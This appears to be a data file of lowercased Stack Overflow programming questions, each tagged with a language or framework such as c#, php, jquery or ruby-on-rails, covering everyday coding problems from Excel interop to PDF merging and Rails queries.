get values from excel  i am trying to read the values from the excel from the selected range. it works fine if there are no merged cells but it does not return the value of merged cells. is there any way to get both the values of merged and normal cells in one iteration using c#.   <pre><code>int lastrowcount = xlworksheet.usedrange.rows.count; excel.range newrange = xlworksheet.get_range(searchoncolumn +  1                                     searchoncolumn + lastrowcount); var foundcell = newrange.find(text  type.missing  type.missing); </code></pre>   <code>foundcell</code> only gives the value of normal cells not the merged one.,c#
getline truncating first character  i have already looked <a href= https://stackoverflow.com/questions/30765802/getline-ignores-first-character-of-string-input >here</a>  <a href= https://stackoverflow.com/questions/17006401/getline-ignoring-first-character-of-input >here</a>  and <a href= https://stackoverflow.com/questions/16092356/getline-skipping-first-input-character-c >here</a>.  i am not using cin.ignore().  i have two problems with this code  but will limit this to one.  the unsigned int int long  sid  should contain  020961797  but only contains  20961797.    <pre><code>bool gpa::importstudents(string mapfilename  string setfilename) { long long int sid; string sname; string saddress; string sphone; stringstream ss;  string line; int mline_count = 0; int sline_count = 0; double x; int y; ifstream map_file; ifstream set_file; map_file.open(mapfilename); set_file.open(setfilename);      if (map_file.is_open()){     for (int i = 0; i &lt; mline_count/4; i++){         getline(map_file  line);         ss &lt;&lt; line;         ss &gt;&gt; sid;          getline(map_file  line);         ss &lt;&lt; line;         ss &gt;&gt; sname;          getline(map_file  line);         ss &lt;&lt; line;         ss &gt;&gt; saddress;          getline(map_file  line);         ss &lt;&lt; line;         ss &gt;&gt; sphone;          studentinterface * si = new student(sid  sname  saddress  sphone);         my_map.insert(std::pair&lt;unsigned long long int  studentinterface*&gt;(sid  si));          //my_map.emplace(student(sid  sname  saddress  sphone));     } } } </code></pre>   here is the first section of the file from which it should be reading data:   <blockquote>    020961797        joshua cooper        0509 mccrooke avenue  columbus  california 52826        552-534-8671  </blockquote>,c++
using setinterval  prepended value repeating. how to prepend once and stop   maybe i should do this server side but wanted to ask and see if there is a way to do this in jquery first.    i have the following code   <pre><code>var refresh = setinterval(function() {   $.ajax({     url:  scroller.asp       success: function(data) { $( #scroll tbody ).prepend(data); }      datatype: html     }); } 10000); </code></pre>   for each interval  the server data is prepending the same row of data. how can i get only one prepended row of data and then have it stop unless the data is different,jquery
how do you have one asp.net validator tied to multiple controls   i have 4 textboxes which can only take a number.  the problem is that i have to create 4 separate validators for the controls and associate their id with the validator.  is it possible to have just one asp.net regular expression validator and associate all the controls with that one validator,asp.net
interact with file browser window using javascript  when uploading files to a website you will usually press an upload button which opens up the file browser of the os you are using. i have a series of automated selenium tests that runs remotely. because i m running the tests remotely i need to do everything through selenium. one of the ways i m able to interact with the browser in selenium is by executing javascripts. is it possible to create a javascript that will write in the path of the file and then hit enter (or click on ok)  or is javascript only able to interact with objects in the browser,javascript
datetime [ last week   last month periods ]  i need to setup last week   last month periods on changing dropdownlist    i m making    <pre><code>        switch (ddl.selectedindex)         {             case 0:                 {                     // last week                     this.textbox3.text = datetime. //previos week first day                     this.textbox4.text = datetime. //previos week last day                 } break;             case 1:                 {                     // last mouth                     this.textbox3.text = datetime.// previos month first day                     this.textbox4.text = datetime.// previos month last day                 } break; } </code></pre>   so is there some ways how can i select date values like i want      also   i ve got ajax calendar extender on text boxes    thank you.,asp.net
how can show the title of select button from i18n  i would like to display title of select button from i18n.    here is select button code:   <pre><code>&lt;button ng-controller= uploadcontroller     class= btn btn-m btn-white  title= {{ selectfile  | localize}}     ng-file-select= onfileselect($files)  data-multiple= true     onclick= this.value = null;ifcomposeformchanged = true; &gt;    &lt;i class= ace-icon fa fa-paperclip  style= font-weight: bold; &gt;&lt;/i&gt; &lt;/button&gt; </code></pre>   i am using <code>title= {{ selectfile  | localize}} </code> for display title of select button but he is show  <code>{{ selectfile  | localize}}</code> in title     if i remove  <code>ng-file-select= onfileselect($files) </code> then it will show exact text.    anybody please tell me where i am wrong.    thanks,angularjs
java reflection list iterate <pre><code>private static void createtbody(list object) {      iterator hritr = object.iterator();         while(hritr.hasnext()) {          userdto users = (userdto)hritr.next();         users.userid;         users.username;     } } </code></pre>   dtoclass::    userdto   <pre><code>public class userdto {      public string username;     public string userid;  } </code></pre>   in the above code i dont have any problem...    put in my <code>createtbody</code> function i dont know the <code>userdto</code> class at compile time...it should dynamic class.this class name i will get through reflection.   <pre><code>userdto users = (userdto)hritr.next(); </code></pre>   why because is  <code>private static void createtbody(list object)</code> object may contain list of <code>customerdto</code> <code>userdto</code>etc...,java
how can i prevent browser caching across all pages in asp.net 4.0   i want to disable caching throughout the application so that browsers can not cache any pages and user should not be able to view any page after logout from the application any how.,asp.net
how to write a series using c for loop   i am having trouble with writing code for a series  i believe it is something with my if statement but i am stumped. the series is supposed to be     <a href= https://i.stack.imgur.com/ekejw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ekejw.png  alt= ((-1)^(n+1))*n^2  ></a>    but i keep getting the wrong output. this is my code:   <pre><code>#include &lt;stdio.h&gt;  int n t=1 nextterm sum=0 i;  int main() {     printf( enter an integer number: );     scanf( %d  &amp;n);     for(i=1;i&lt;=n;i++) {         if (t%2 == 0) {             nextterm = 1;         }         else {             nextterm = -1;         }         t=nextterm*(t*t);         sum=sum+t;     }     printf( the value of the series is: %d\n  sum);     return (0); } </code></pre>,c
can you keep a div always visiable at top while scrolling through css   can you keep a div always visiable at top while scrolling through css only (not jquery),css
how to trace via category   .net lets you add trace statements to code. you can use    <pre><code>trace.writeline (some message );  </code></pre>   and then define a trace listener to collect those messages to a log file. ok so far.    but you can also do:    <pre><code>trace.writeline (some message    category ); </code></pre>   how can you set up a filter in <code>app.config</code> (ie <code>&lt;program&gt;.exe.config</code>) so that only messages with a certain value of  category  are sent to a listener. the documentation hints that you can do this but falls short of telling you how  i think! i want to define my own categories (by subsystem) and be able to route trace to various log files when needed.    (yes i know all about log4net and how that can solve all my problems).,.net
tkinter not including in pyinstaller  actually i m trying to make a local search engine .the code works fine when running in pycharm but after created exe file using pyinstaller with options like <code>--hidden-import=tkinter  --windowed</code>  while try to execute the exe file it shows  error like this    <blockquote>    d:\untitled\tk\dist\scroll>scroll.exe traceback (most recent call    last):   file  scroll.py   line 28  in  importerror: no module    named tkinter        traceback (most recent call last):   file  scroll.py   line 219  in    nameerror: name  frame  is not defined failed to execute   script scroll        d:\untitled\tk\dist\scroll>  </blockquote>   the code written in python 2.7 is attached below i ve also tried with python 3 but same problem    <a href= http://pastebin.com/4xwfcnzf  rel= nofollow >http://pastebin.com/4xwfcnzf</a>,python
do i need to release a memory of params in c#  i am using below menioned code for inserting data into sql and for that i have used below menioned code    <pre><code> public void executesqlcommandwithparameters(string command params object[] values)     {         system.data.sqlclient.sqlconnection conn = new system.data.sqlclient.sqlconnection();         conn.connectionstring = _connectionstring;           try         {             conn.open();              system.data.sqlclient.sqlcommand com = new system.data.sqlclient.sqlcommand(command  conn);             for (int i = 0; i &lt; values.length; i++)             {                 com.parameters.add( @ +i.tostring()  values[i]);             }              com.executenonquery();             com.dispose();             conn.close();             values = null;           }         catch (exception ex)         {             log.error(string.format( error in executesqlcommand()  command {0}  exception: {1}   command  ex.message));         }     } </code></pre>   the above mentioned function will execute <strong>a thousand times</strong> my question is is it required to make null <code>params object[] values</code> i means do i need to write code like    <pre><code>values=null; </code></pre>   please suggest me,c#
how to attach layout/activitise to menu in navigation drawer activity  hi i am using navigation drawer activity theme to create my android application in android studio. tell me how to assign different layout/activity to menu item when clicked.,android
2 column layout of divs with varying heights where vertical spacing is always the same   can the layout in the image below be achieved with css  i have a number of divs with dynamic content and therefore varying heights.     i need a 2 column layout. i need the vertical space between the divs to always be equal.      <img src= https://i.stack.imgur.com/djf8c.jpg  alt= enter image description here >    ive marked the divs from 1 to 5 above with the order that i would like them to appear in the html if possible. however the order below would be my second choice.     <img src= https://i.stack.imgur.com/h7rri.jpg  alt= enter image description here >,css
passing a listbox from page1.aspx to page2.aspx  i have tried several suggestions from this forum to no avail re the above.    i get the error code:    <blockquote>    object reference not set to an instance of an object.  </blockquote>   and the line of code it highlights is:    <pre><code>messagelabel2.text =  your 1st prod   + mylist[0] + mylist[1] +  . ; </code></pre>   my setup is as follows. page1 has listbox1 and i can see it contains what i want to pass to page2. button1 on page1 does a postbackurl= page2.aspx /> when clicked    page1 code behind does:   <pre><code>public partial class _default : system.web.ui.page {    public static list&lt;string&gt; mylist = new list&lt;string&gt;();  protected void button1_click(object sender  eventargs e)     {         //transfer to the next web page           for (int i = 0; i &lt; listbox1.items.count; i++)             mylist.add(listbox1.items[i].tostring());         session[ finallist ] = mylist;         //response.redirect( page2.aspx ); </code></pre>   page2 also has a listbox2 and a messagelabel2 and i use messagelabel2 to simply display messages like  you are in page2   (and others) on page_load. page 2 code behind is:   <pre><code>public partial class page2 : basepage     {         public static list&lt;string&gt; mylist = new list&lt;string&gt;();  protected void page_load(object sender  eventargs e)          {             messagelabel2.text =  you are in page2  ;              mylist = (list&lt;string&gt;)session[ finallist ];       messagelabel2.text =  your 1st prod   + mylist[0] + mylist[1] +  . ; </code></pre>   additionally i even thought that giving page1 a form id= form1  and page2 a form id= form2  would enable me to do something like form2.listbox2 = form1.listbox1   but that doesnt cut it either. you will see by the commented out code i have tried several workarounds. any help/ideas greatly appreciated thanks.    further info: thanks rummykahn and oguz for your suggestions. i must confess oguz i couldnt work out how to do what you suggest using the string approach ( copy the items of the list by only their value types (string value  )....could you elaborate with an example please. bear in mind that the listbox1 will contain any number from 1 to about 5 rows. as per rummykahn s suggestion i modified my code to test that the listbox entries were in fact there (and they were) and then i added another  debug  code line to test that mylist did in fact have the entries - and they did. i did this test by taking out the postbackurl= page2.aspx /> here is the code i used to prove it with :   <pre><code>protected void button1_click(object sender  eventargs e)     {          for (int i = 0; i &lt; listbox1.items.count; i++)             mylist.add(listbox1.items[i].tostring());        //  messagelabel.text =  your listbox1 entry 0 is   + listbox1.items[0].tostring(); //tested and gets 1st row ok         messagelabel.text =  your mylist entry 0 is   + mylist[0]; // works also         session[ finallist ] = mylist; </code></pre>   so i conclude that the session[ finallist ] = mylist; in page1 code does not hand over to page2 code that has:   <pre><code>protected void page_load(object sender  eventargs e)          {             messagelabel2.text =  you are in page2  ;              mylist = (list&lt;string&gt;)session[ finallist ]; </code></pre>   ...and that is why my line..... messagelabel2.text =  your 1st prod   + mylist[0] ; generates the error we see.,c#
mysql - innodb vs myisam  i read the following article yesterday (<a href= http://blogs.sitepoint.com/2010/11/19/mysql-mistakes-php-developers/  rel= noreferrer >http://blogs.sitepoint.com/2010/11/19/mysql-mistakes-php-developers/</a>) and it wrote the following:   <blockquote>    mysql has a number of database engines but you’re most likely to encounter myisam and innodb.        myisam is used by default. however  unless you’re creating a very simple or experimental database  it’s almost certainly the wrong choice! myisam doesn’t support foreign key constraints or transactions which are essential for data integrity. in addition  the whole table is locked whenever a record is inserted or updated: it causes a detrimental effect on performance as usage grows.        the solution is simple: use innodb.  </blockquote>   i ve always used myisam because it was the default. what do you think     if i were to upgrade to innodb  in phpmyadmin  can i just edit each table and change it to innodb or is there a more complex process to perform     thanks!,mysql
iphone: where is the starting point in an view-based application   i can t find it. actually i look for the part where i could try this:   <pre><code>[[uiapplication sharedapplication] setstatusbarhidden:yes animated:no]; self.navigationcontroller.view.bounds = cgrectmake(0 0 320 480); self.navigationcontroller.navigationbar.hidden = yes; </code></pre>,iphone
once defined  string cannot be initialized to other characters   using pointers string can be initialized to other characters but when once string has been defined it cannot be initialized to other characters.what is the reason behind it      <pre><code>int main() { char str1[]= hello ; char *p= hello ; str1= bye ;/*error*/ p= bye ;/*works*/ } </code></pre>,c
warning regarding the cell of uitableviewcell  cell.image = [uiimage imagenamed:@ search_up.png ];    whenever i m  writing  this  statement i get  warning  like  deprecated    if i use  cell.textlabel.image = [uiimage imagenamed:@ search_up.png ]; i   got error     how  to remove  this warning or  error,iphone
clr stored procedure needs to call .net assembly  i have a clr stored procedure which is written .net 3.5 due to the limitations of sql server 2008    from within this stored procedure i need to call a function which is in a .net 4.0 assembly but when i add a reference to it i get the error      <blockquote>         or one of its dependencies requires a later version of the .net   framework than the one specified in the project...  </blockquote>   is there any way around this     the assembly i am calling is an external assembly so i am not able to make any changes to it  but i do need to call it from my clr    any ideas,.net
how to remove single quotes from a string  leaving only the words(apostrophe)   [php]  i want to remove single quotes from a string  but not quotes that are apostrophes.    for eg:   <blockquote>    please click  here  to choose the account you d like to login  </blockquote>   i need it to be like   <blockquote>    please click here to choose the account you d like to login  </blockquote>   i tried like this   <pre><code>$text = preg_replace(  /[^\da-z !  .]/i        $text ); </code></pre>   but it s removing all single quotes. any help appreciated. didn t find any solution in stack overflow after long searches.,php
owin service is not visible from network  i created c# console application using <code>owin</code> and i have issue with visibility of application outside of localhost. for example if i made post request with localhost in url everything works fine  but when i replace url in postman to my global ip address it stopped working. port is opened  i can ping server from external computer. earlier application based on iis worked fine on this port with this global ip adress and port.   <pre><code>_webapp = webapp.start&lt;startowin&gt;( http://localhost:8511 ); </code></pre>   line above should contains my global ip or it can be localhost with specific port     full code:   <pre><code>public class program     {         public static int main(string[] args)         {             return (int)hostfactory.run(x =&gt;             {                 x.startautomatically();                 x.service&lt;owinservice&gt;(s =&gt;                 {                     s.constructusing(() =&gt; new owinservice());                     s.whenstarted(service =&gt; service.start());                     s.whenstopped(service =&gt; service.stop());                 });             });         }     }      public class owinservice     {         private idisposable _webapp;          public void start()         {             _webapp = webapp.start&lt;startowin&gt;( http://localhost:8511 );         }          public void stop()         {             _webapp.dispose();         }     }      public class startowin     {         public void configuration(iappbuilder appbuilder)         {             var config = new httpconfiguration();              config.maphttpattributeroutes();             config.routes.maphttproute(                 name:  defaultapi                   routetemplate:  api/{controller}/{action}/{id}                   defaults: new { id = routeparameter.optional }                 );              appbuilder.usewebapi(config);         }     } </code></pre>   <strong>#update</strong> i have changed port for application to 8512  fully unlocked this port and made following post requests:   <ul> <li><a href= http://localhost:8512  rel= nofollow noreferrer >http://localhost:8512</a> works fine</li> <li><a href= http://127.0.0.1:8512  rel= nofollow noreferrer >http://127.0.0.1:8512</a> doesn t work</li> <li><a href= http://my_global_address:8512  rel= nofollow noreferrer >http://my_global_address:8512</a> doesn t work</li> </ul>   <strong>#update2</strong>    after setting  <code>_webapp = webapp.start&lt;startowin&gt;( http://*:8511 );</code> and <strong>turning off whole firewall</strong> it works as expected  so it s network issue (serverfault.com)    <strong>solution</strong>    <code>_webapp = webapp.start&lt;startowin&gt;( http://*:8511 );</code> and add new firewall rule (allow inbound) for executable of this application,c#
question about location of variable in memory  we know meaning of pointers  for example to get location of variable   <pre><code>int t=9; </code></pre>   we use following notation   <pre><code>int *p=&amp;t; </code></pre>   how can i obtain  address of variable in memory by bitwise operatos and bits manipulation     can i do it in general or what is equivalent of pointer in bit world i am using c++,c++
angular js service which like data layer  i am trying to write service which gets data from the remote server and store that in browser s local storage and when the application needs the data it will return data from local storage and if data is not local storage then it will pull data from remote server. i have written below code but that is not working  giving error.   <pre><code>angular.module( appservices ).service( localdata   [function ($localstorage clientlist) {     this.clientlist = getclientlist();     function getclientlist() {         if ($localstorage.clientlist != null) {             return $localstorage.clientlist;         } else {             clientlist.post({}  function (data) {                 $localstorage.clientlist = data;                 return $localstorage.clientlist;             });         }     } }]); </code></pre>   thanks atul,angularjs
proper initialization of uiviewcontrollers view frame  on my iphone project i create the gui with code. one question that passed my mind was  is it correct to write this:   <pre><code>uiview *myview = [[uiview alloc] initwithframe:cgrectmake(0.0f  0.0f  320.0f  460.0f)]; self.view = myview; [myview release]; </code></pre>   this would work on iphone 4 right  because i am not setting physical pixels when i write this  and on iphone 4 it would be scaled automatically to 640 and 920  or am i wrong.    i also wonder if there is a way of telling the main  view  that   fill the container i belong to   because as this code is right now it wouldn t display correctly on ipad      help much appriciated:),iphone
what s the meaning of var variablename = variablename || {};  i m new to javascript from c++ background. i always see code like   <pre><code>var variablename = variablename || {}; </code></pre>   it seems quite strange to me. can somebody explain the meaning of the code  thanks a lot.,javascript
changing a random number into a key code  lokay so i have gotten stumped on this one...     what i m trying to achieve is to generate a series of numbers between 0-9. after the generation of the numbers  i want them to be typed into a text field on the screen. i have gotten all the essentials working except the changing a random number into a key code. currently when i go to convert it to a key code  it turns into 0.    here is my code:   <pre><code>public void random() {     int rand = new random().nextint(10);             system.out.println(  +rand);     convert(); }  public void convert() {     switch (rand) {     case 0:         rand = keyevent.vk_0;                     system.out.println(  +0);         break;     case 1:         rand = keyevent.vk_1;                     system.out.println(  +1);         break;     case 2:         rand = keyevent.vk_2;                     system.out.println(  +2);         break;     case 3:         rand = keyevent.vk_3;                     system.out.println(  +3);         break;     case 4:         rand = keyevent.vk_4;                     system.out.println(  +4);         break;     case 5:         rand = keyevent.vk_5;                     system.out.println(  +5);         break;     case 6:         rand = keyevent.vk_6;                     system.out.println(  +6);         break;     case 7:         rand = keyevent.vk_7;                     system.out.println(  +7);         break;     case 8:         rand = keyevent.vk_8;                     system.out.println(  +8);         break;     case 9:         rand = keyevent.vk_9;                     system.out.println(  +9);         break;     } } </code></pre>   the out put is this:   <pre><code>5 0 </code></pre>   what it should be:   <pre><code>5 53 </code></pre>   any suggestions/solutions     thanks!!,java
jquery effect after ajax-page-load doesn t take place  i m working on my new site and i stumble upon a silly problem i can t figure out a solution for. the concept is located at <a href= http://www.ontdek5.nl/index.php  rel= nofollow >www.ontdek5.nl/index.php</a>. when you enter the page my subtile jquery effects  slide together  the page. from the navigation the user should be able to browse through the different pages where only the contentpart should reload. currently this works but the jquery effects aren t executed.    how can i achieve a jquery effect to run when a user clicks a different menu-item  i would like to clip-in the content columns but this now only happens on the initial page-load.,jquery
determining a symlink on unix system  i am trying to use the function s_islnk(file.st_mode) to check if a certain file is a symlink versus a directory or regular file. however it does not seem to work when i check it with a symlink file.    here is my code:   <pre><code>            if(s_isdir(filestat.st_mode))             {                 // dir - display files in the directory                 printf(     dir          );                 filetype = 2;               }else if(s_islnk(filestat.st_mode)){                 // lnk - display the name of the file the link is pointing to                 printf(     lnk          );                 filetype = 3;             }else{                 // display general info only                 printf(     reg          );                 filetype = 1;             } </code></pre>   the check for a directory is working fine  however when i run my program on a symlink file it shows up as a regular file. anyone know what i could be doing wrong,c
php : how can get all day between tow date and but it in calender  i have two dates:    10-11-2014 and 17-11-2014    now i would like to get all dates between those two.    then i need to check it in calender  if its in calender  i need to color  in red color    how can i do that     this is my calender code :-   <pre><code>&lt;table class= graybg  align= center  style= font-family:  trebuchet ms ;font-size:12px  width= 288 &gt;     &lt;caption style= font-weight:bold;padding-bottom:2px  class= black font10px &gt; &lt; php if(file_exists( winneradmincpanel/connect.php )) {     require_once( winneradmincpanel/connect.php );     $connect = new connect();     include  config.php ;      require_once( date/hjreedate.php );     $hijri = new hijricalendar();      include( date/hdate.php );     $date = $hijri -&gt; gregoriantohijri(time());     $hdate =  $aday.   .$date[1].   .$hijri -&gt;monthname($date[0]).   .$date[2] .  هـ ;    /// get current month and year and store them in $cmonth and $cyear variables (intval($_request[ month ])&gt;0)   $cmonth = intval($_request[ month ]) : $cmonth = date( m ); (intval($_request[ year ])&gt;0)   $cyear = intval($_request[ year ]) : $cyear = date( y );  echo gregorianhijri::getmonthname ( $m gregorianhijri::$gregorian $globals[ lang ]) .     . $a; // generate an array with all dates with events    &gt;  &lt;/caption&gt; &lt;tr style= background:#cccccc &gt;     &lt;th&gt;الاثنين&lt;/th&gt;       &lt;th&gt;الثلاثاء&lt;/th&gt;       &lt;th&gt;الاربعاء&lt;/th&gt;       &lt;th&gt;الخميس&lt;/th&gt;       &lt;th&gt;الجمعة&lt;/th&gt;       &lt;th&gt;السبت&lt;/th&gt;       &lt;th&gt;الاحد&lt;/th&gt; &lt;/tr&gt;     &lt; php $ts = mktime ( 1  0  0  $m  1  $a ); $detail = getdate ( $ts ); echo  &lt;tr&gt; ; if ($detail [ wday ] == 0)     $nb = 6; else     $nb = $detail [ wday ] - 1; for($j = 1; $j &lt;= $nb; $j ++)     echo  &lt;td&gt; ; $n = $detail [ wday ]; $valid = true; $j = 1; $monthsarray = array(); do {      $valid = checkdate ( $m  $j  $a );     if ($valid) {         //$dateoutput =  $a-$m-$j ;         $dateoutput = sprintf ( $globals[ gregoriandateformat ]  $a $m $j);         $hijriday = gregorianhijri::hijriday($a $m $j $globals[ lang ]);         $explod = explode( -  $hijriday);         $year = $explod[1];         $day = $explod[0];         $hijridate = gregorianhijri::hijridate($a $m $j $globals[ lang ] $globals[ hijridateformat ]);         $hijrimonth = gregorianhijri::hijrimonth($a $m $j $globals[ lang ]);         array_push($monthsarray $hijrimonth);            $sql =  select * from tarshoh where `datedurationm` ;         $sql_result = mysql_query ($sql) or die ( request  could not execute sql query   .$sql);         while ($row = mysql_fetch_assoc($sql_result)) {             $events[$row[ event_date ]][ dawracat ] = $row[ dawracat ];             $events[$row[ event_date ]][ datedurationm ] = $row[ datedurationm ];             }              $currntm = $events[$row[ event_date ]][ datedurationm ];             $currnth = $events[$row[ event_date ]][ datedurationh ];                 if(!isset($_request[ day ])){                 if($j == $currntm){                     $bg =  #79c04b ;                  }else{                     $bg =   ;                  }             }else{                  if($j == $newday){                     //$bg =  #cccccc ;                 }else{                     //$bg =   ;                 }             }               ///////////////////////                  $gregorianid =  gregoriandate .$j;              $hijriid =  hijridate .$j;              $function =  getdateinputs(  .$gregorianid.     .$hijriid.  ) ;         if (($j + $nb) % 7 == 1)                echo  &lt;tr&gt; ;         echo  &lt;td align=center style= font-size:10px;cursor:pointer  bgcolor= $bg  onclick=$function class= cel-calendar-border &gt;                 &lt;table border= 0  class= font10px  width= 30  cellspacing= 0  cellpadding= 0  &gt;                     &lt;tr&gt;&lt;td align= left &gt;&lt;span class= black &gt;$j&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;                     &lt;tr&gt;&lt;td align= right  class= red &gt;$day&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; ;         echo  &lt;input type= hidden  name=$gregorianid id =$gregorianid value= $dateoutput &gt; ;      echo  &lt;input type= hidden  name=$hijriid id =$hijriid value= $hijridate &gt; ;      $j = $j+1;        echo  &lt;/td&gt; ;      }    } while ($valid);     $monthsarray = array_unique($monthsarray);  &gt; &lt;/table&gt;  &lt;div align= center  style= font-size:10px;font-family: trebuchet ms ;padding-top:2px;padding-bottom:2px;font-weight:bold  class= red &gt; &lt; php  $i=0; foreach ($monthsarray as $key=&gt; $value){      $i++;     echo $value;     if ($i &lt; count($monthsarray)){         echo   /  ;     } } echo    .$year; }  &gt; &lt;/div&gt; </code></pre>   and i get this tow date by this query :-   <pre><code>$sql =  select * from tarshoh where `datedurationm` ; $sql_result = mysql_query ($sql) or die ( request  could not execute sql query   .$sql); while ($row = mysql_fetch_assoc($sql_result)) {     $events[$row[ event_date ]][ datestartm ] = $row[ datestartm ];     $events[$row[ event_date ]][ dateendm ] = $row[ dateendm ];     } </code></pre>   and the calender here :-   <pre><code>       echo  &lt;tr&gt; ;     echo  &lt;td align=center style= font-size:10px;cursor:pointer  bgcolor= $bg  onclick=$function class= cel-calendar-border &gt;             &lt;table border= 0  class= font10px  width= 30  cellspacing= 0  cellpadding= 0  &gt;                 &lt;tr&gt;&lt;td align= left &gt;&lt;span class= black &gt;$j&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;                 &lt;tr&gt;&lt;td align= right  class= red &gt;$day&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; ;     echo  &lt;input type= hidden  name=$gregorianid id =$gregorianid value= $dateoutput &gt; ;  echo  &lt;input type= hidden  name=$hijriid id =$hijriid value= $hijridate &gt; ;  $j = $j+1;    echo  &lt;/td&gt; ; </code></pre>,php
database schema migration  before i reinvent the wheel is there a simple tool out there that does schema migration similar to laravel but using standard sql     many schema migration tools just apply migration files based on the numeric prefix where said prefix is greater than the current table increment.    i m more interested in a tool that loops through all the files in a migration directory in order (numeric prefix) and applies any missing (from the databases migration table) sql migration files to the database.    prefer foss and wouldn t kick rollback functionality out of bed either.,mysql
how to add a tooltip in xslt  i want to add a tooltip to an image as follows:   <pre><code> &lt;td align= center  &gt;     &lt;xsl:value-of select= catalogproduct &gt;&lt;/xsl:value-of&gt;                &lt;xsl:if test= productcode =  002  &gt;     &amp;#160;&lt;img height= 16  align= middle  src= /images/message_info.png  tooltip= integrated product /&gt;     &lt;/xsl:if&gt;   &lt;/td&gt; </code></pre>   tooltip= value  doesnt work. how can i do this,html
creation of nsstring inside if-case fails   i m simply trying to decide which text i m going with in a simple if-manner. why does x-code complain and not let me build the project saying that the variable is undefined when it s clearly defined in the if    <pre><code> if(indexpath.row == [listofitems count]) {             nsstring *cellvalue = [[nsstring alloc] initwithformat:@ totalt: %@st registrerade   companytotalreg]; //cellvalue is unused         } else {             nsstring *cellvalue = [[nsstring alloc] initwithformat:@ totalt: sek%@ intjänat   companytotalpay]; //cellvalue is unused         }         cell.textlabel.text = cellvalue; //cellvalue is undefined </code></pre>,objective-c
merge two pdfs using php  i know we already have a number of posts in so and this might be a duplicate.    but  i have been working on this from last 24 hours without any success. i have  gone through all the posts and nothing worked for me.    what i am trying out is quite simple and i saw many examples which people say are working for them but never worked for me.    below is the code which i am trying out without any luck. the commented portion has the ways which i have been trying. please help me in this regard.   <pre><code>&lt; php     error_reporting(e_all);  /*     require __dir__ .  /vendor/autoload.php ;     use iio\libmergepdf\merger;     use iio\libmergepdf\pages;       $m = new merger();     $m-&gt;addfromfile($file1);     $m-&gt;addfromfile($file2);     file_put_contents($outputname  $m-&gt;merge());      $filearray= array($file1  $file2);      // using ghostscript     $cmd =  gs -q -dnopause -dbatch -sdevice=pdfwrite -soutputfile=$outputname  ;     //add each pdf file to the end of the command     foreach($filearray as $file) {         $cmd .= $file.   ;     }     echo $cmd;     $result = shell_exec($cmd);      //using fpdf      require( fpdf181/fpdf.php );     require( fpdi162/fpdi.php );      $pdf = new fpdi();      foreach ($filearray as $file) {         print_r($file);         $pagecount = $pdf-&gt;setsourcefile($file);         for ($i = 0; $i &lt; $pagecount; $i++) {             echo $i;             $tpl = $pdf-&gt;importpage($i + 1   /mediabox );             $pdf-&gt;addpage();             $pdf-&gt;usetemplate($tpl);         }     }      // output the pdf as a file (http://www.fpdf.org/en/doc/output.htm)     $pdf-&gt;output( f   $outputname);  */     $file1 =  pdf1/file1.pdf ;     $file2 =  pdf2/file2.pdf ;     $datadir =  merged_pdf/ ;     $outputname = $datadir. merged.pdf ;      include  pdfmerger/pdfmerger.php ;      $pdf = new pdfmerger; // or use $pdf = new \pdfmerger; for laravel      $pdf-&gt;addpdf($file1);     $pdf-&gt;addpdf($file2);      $pdf-&gt;merge( file    merged.pdf ); // generate the file      // $pdf-&gt;merge( download    samplepdfs/test.pdf ); // force download      // replace  file  with  browser    download    string   or  file  for output options    &gt; </code></pre>,php
serve response right away then do subsequent processing in controller   i have an endpoint that consumes post requests  logs relevant info from the request  then responds with a 200 ok. it s important that it respond quickly  and processing the log entry can take some time  so i m wondering if i can change this:   <pre><code>def my_endpoint   generate_log_entry   render nothing: true end </code></pre>   to this:   <pre><code>def my_endpoint   render nothing: true   generate_log_entry end </code></pre>   i m pretty sure i cannot -- i think the call to <code>render</code> just builds the response for serving later in the rack middleware lifecycle. is delegating the logging to an async process my only option,ruby-on-rails
not all arguments converted during string formatting - python  i have this code:   <pre><code>def rndint(self  s=0  l=10):     num = pow(self._seed  2)     strnum = str(num)     if len(strnum) &lt; 3:         strnum +  37      mid = int(strnum[1:len(strnum)-1]) % l+1     self._seed = mid     return mid </code></pre>   the problem is  when i run it with:   <pre><code>rnd = random(100) rnd.rndint() </code></pre>   it gives:   <pre><code>traceback (most recent call last):     file  c:\anaconda2\lib\site-packages\ipython\core\interactiveshell.py   line 3066  in run_code         exec(code_obj  self.user_global_ns  self.user_ns)     file  &lt;ipython-input-29-0d460ce98561&gt;   line 1  in &lt;module&gt;         rnd.rndint()     file  c:\users\anshul\pycharmprojects\amath\amath\random\randomgen.py   line 16  in rndint         mid = int(strnum[1:len(strnum)-1]) % l+1 typeerror: not all arguments converted during string formatting </code></pre>   what is wrong with my code,python
delete record in all tables in sql  i want to delete all records related with student  petar petrov  from all tables where records exist ( there are three tables ),sql
display & hide a div without css  jquery or javascript  i ve got a tough one. i work for a company that uses a sharepoint that is 100% text based due to varying network performace issues accross the world. it provides the option to input html for styling but scrubs any javascript. i do not have access to code css and i m assuming jquery is not available.    i would like to embed images into the sharepoint as a proof of concept by taking advantage of a floating div (or iframe) that displays with an href to display a png file stored on a server. i don t want the div (or the image) to load unless the user clicks a link or a button.     i m pretty amature at anything other than basic html formating. i m not even sure it s possible to do something like this with only html.     thank you in advance to anyone willing to take a stab at this.,html
send users input to a page of my site   i m really new to creating websites and i m learning one thing at a time as i need to. i have a page with a form where the user enters his name in a textbox  chooses a radio button from 3 options and enters a description in another textbox.     i want to place a button at the end and when clicked  send all this fields that the user filled to another page and in it display all this info from different users in a feed.    can someone tell me the basics of what i should do  so that i can go an make some research and start working.,html
return objects grouped by interval of times in rails   i have a model called tweet.    each tweet object has an attribute called tweet_created_at which basically says when that tweet was published.    i would like to do a query which returns me the tweets by interval of time  so at the end i would like to have:   <pre><code>tweets_by_interval = {  from_0_to_3  =&gt; [tweetobject1  tweetobject2..]   from_4_to_7  =&gt; [...]   from_8_to_11  =&gt; [...]   from_12_to_15  =&gt; [...]   from_16_to_19  =&gt; [...]   from_20_to_23  =&gt; [...] } </code></pre>   so each member in the hash would mean: those tweets which were created from hour x to hour y.    how can i do that using activerecord query interface,ruby-on-rails
